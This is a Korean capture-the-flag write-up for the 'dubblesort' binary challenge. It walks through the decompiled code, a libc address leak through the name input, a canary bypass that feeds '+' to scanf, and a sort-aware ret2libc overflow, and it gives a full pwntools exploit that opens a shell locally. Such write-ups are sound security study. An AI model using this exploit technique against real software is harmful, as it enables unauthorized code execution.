
메모리를 정렬해준다고 한다. 코드를 보자.
int __cdecl main(int argc, const char **argv, const char **envp)
{
unsigned int v3; // eax
_BYTE *v4; // edi
unsigned int i; // esi
unsigned int j; // esi
int result; // eax
unsigned int v8; // [esp+18h] [ebp-74h] BYREF
_BYTE v9[32]; // [esp+1Ch] [ebp-70h] BYREF
int v10; // [esp+3Ch] [ebp-50h] BYREF
unsigned int v11; // [esp+7Ch] [ebp-10h]
v11 = __readgsdword(0x14u);
sub_8B5();
__printf_chk(1, "What your name :");
read(0, &v10, 64);
__printf_chk(1, "Hello %s,How many numbers do you what to sort :");
__isoc99_scanf("%u", &v8);
v3 = v8;
if ( v8 )
{
v4 = v9;
for ( i = 0; i < v8; ++i )
{
__printf_chk(1, "Enter the %d number : ");
fflush(stdout);
__isoc99_scanf("%u", v4);
v3 = v8;
v4 += 4;
}
}
sub_931(v9, v3);
puts("Result :");
if ( v8 )
{
for ( j = 0; j < v8; ++j )
__printf_chk(1, "%u ");
}
result = 0;
if ( __readgsdword(0x14u) != v11 )
return sub_BA0();
return result;
}
먼저 이름을 입력 받고, 정렬할 숫자의 개수를 입력 받는다. 그 다음 개수만큼 숫자를 입력 받고, sub_931을 통해 숫자를 정렬해준다.
int __cdecl sub_931(unsigned int *a1, int a2)
{
int v2; // ecx
unsigned int *i; // edi
unsigned int v4; // edx
unsigned int v5; // esi
unsigned int *v6; // eax
int result; // eax
unsigned int v8; // [esp+1Ch] [ebp-20h]
v8 = __readgsdword(0x14u);
puts("Processing......");
sleep(1);
if ( a2 != 1 )
{
v2 = a2 - 2;
for ( i = &a1[a2 - 1]; ; --i )
{
if ( v2 != -1 )
{
v6 = a1;
do
{
v4 = *v6;
v5 = v6[1];
if ( *v6 > v5 )
{
*v6 = v5;
v6[1] = v4;
}
++v6;
}
while ( i != v6 );
if ( !v2 )
break;
}
--v2;
}
}
result = __readgsdword(0x14u) ^ v8;
if ( result )
return sub_BA0();
return result;
}
정렬을 해주는 sub_931이다. 입력 받거나 하는 부분 없이 그냥 정렬을 해준다.
정렬을 마친 후에 메인 함수에서는 정렬해준 대로 출력을 해주고 마지막에 뭔가를 확인한다.

모든 보호기법이 켜져있으므로 canary를 확인하는 부분이라고 생각할 수 있다.
가장 먼저 공격할 수 있는 부분은 뭐가 있을까? 이름을 입력 받는 부분이다.

물론 0x40byte만 입력받고 있기에 카나리를 넘어서 sfp나 ret 등을 leak 하기는 힘들어 보인다.

일단 이름에 대충 12byte만 넣어봤다. 그랬더니 남은 부분에 특정 주소들이 저장되어 있는 것을 확인할 수 있었다.
13~16byte에 저장된 값이 rtld_global_ro의 주소였다. 따라서 libc에서 rtld_global_ro의 offset을 구해서 libc base를 구해주고, 이를 통해 system 함수와 binsh의 offset을 구해준다.
그 다음은 입력할 숫자의 갯수와 실제 숫자를 입력해야 한다. 여기서 공격할 수 있는 부분은 입력할 숫자의 갯수를 크게 넣어서 ret까지 덮을 수 있는 것이다.
그런데 문제가 있다. 위에서 확인했듯이 canary가 있고, ret까지 덮기 위해서는 canary도 특정한 값으로 덮어야 하는데, canary를 leak할 수 있는 기회도 따로 없고 어떻게 해야할까?
고민을 많이 했는데 실제로 값을 하나씩 넣어보면서 답을 알아냈다. 코드를 보면 scanf에 %u로 입력을 받고 있다. 부호 없는 정수를 입력 받는 것이다. 그런데 만약 여기에 문자를 입력하면 어떻게 될까? 처음에는 여러 문자들을 마구 쳐서 입력해봤는데 내가 원했던 대로 아무런 값도 입력되지 않았다. 그런데 문제는 다음에 입력 받을 때에도 아무 입력 값을 받지 않게 되었다. 이렇게 되면 canary 부분만 피해가려다가 ret를 덮을 수 없게 된다.
그래서 이번엔 한 문자씩 입력해보았다. 그러다가 ‘+’를 입력했더니, 아무런 입력값도 들어가지 않았으며, 다음 입력은 그대로 받았다.
따라서 canary 부분에 입력 받을 때는 ‘+’를 넣어주고, ret에 system 함수 주소, 그 다음 dummy, 그 다음 /bin/sh 주소를 넣어주면 된다.
추가로 이 문제는 정렬을 진행해주기에, 넣어줄 때 정렬된 후의 결과를 생각해서 넣어줘야 한다. 다행히도 canary, system, /bin/sh 순서대로 크기를 유지했기에 이상하게 순서가 바뀌는 일은 없었다.
따라서 exploit 코드는 다음과 같다.
from pwn import *
p = process("./dubblesort")
e = ELF("./dubblesort")
libc = e.libc
#context.log_level = 'debug'
_rtld_global_ro_offset=0x22D7E0
system_offset=libc.symbols['system']
binsh_offset=0x18e363
payload = b'a' * 0xc
pause()
p.sendafter(b':',payload)
leak=u32(p.recvuntil(b'xf7')[-4:])
libc_base=leak-_rtld_global_ro_offset
system=libc_base+system_offset
binsh=libc_base+binsh_offset
dummy1=system-1
dummy2=binsh-1
log.info('libc base : '+hex(libc_base))
log.info('system : '+hex(system)) ##
log.info('binsh : '+hex(binsh)) ##
p.sendlineafter(b':',(str(35)).encode())
for i in range(24):
p.sendlineafter(b':',str(i).encode())
p.sendlineafter(b':',b'+')
for i in range(7):
p.sendlineafter(b':',str(dummy1).encode())
pause()
p.sendlineafter(b':',str(system).encode())
p.sendlineafter(b':',str(dummy2).encode())
p.sendlineafter(b':',str(binsh).encode())
p.sendline
p.interactive()

로컬에서는 쉘을 따냈다!
하지만 이 문제는 서버에서 다른 libc를 사용하고 있었고, libc 파일까지 줬다.
그래서 /bin/sh의 주소도 다시 찾아주고 했는데, 문제가 발생했다.

이름을 입력했던 부분에서 rtld_global_ro의 주소를 얻어내서 libc를 구했다. 그런데 이번에는 해당 주소가 존재하지 않았다. 그래서 4byte씩 넣어봤는데, 0xf7로 시작하는 주소는 아래밖에 없었다..

브루트포싱까지 해보면 구할 수는 있겠지만, 일단 시간이 없어서 로컬에서 쉘 딴 거로 만족하고 flag는 다음에 따야겠다..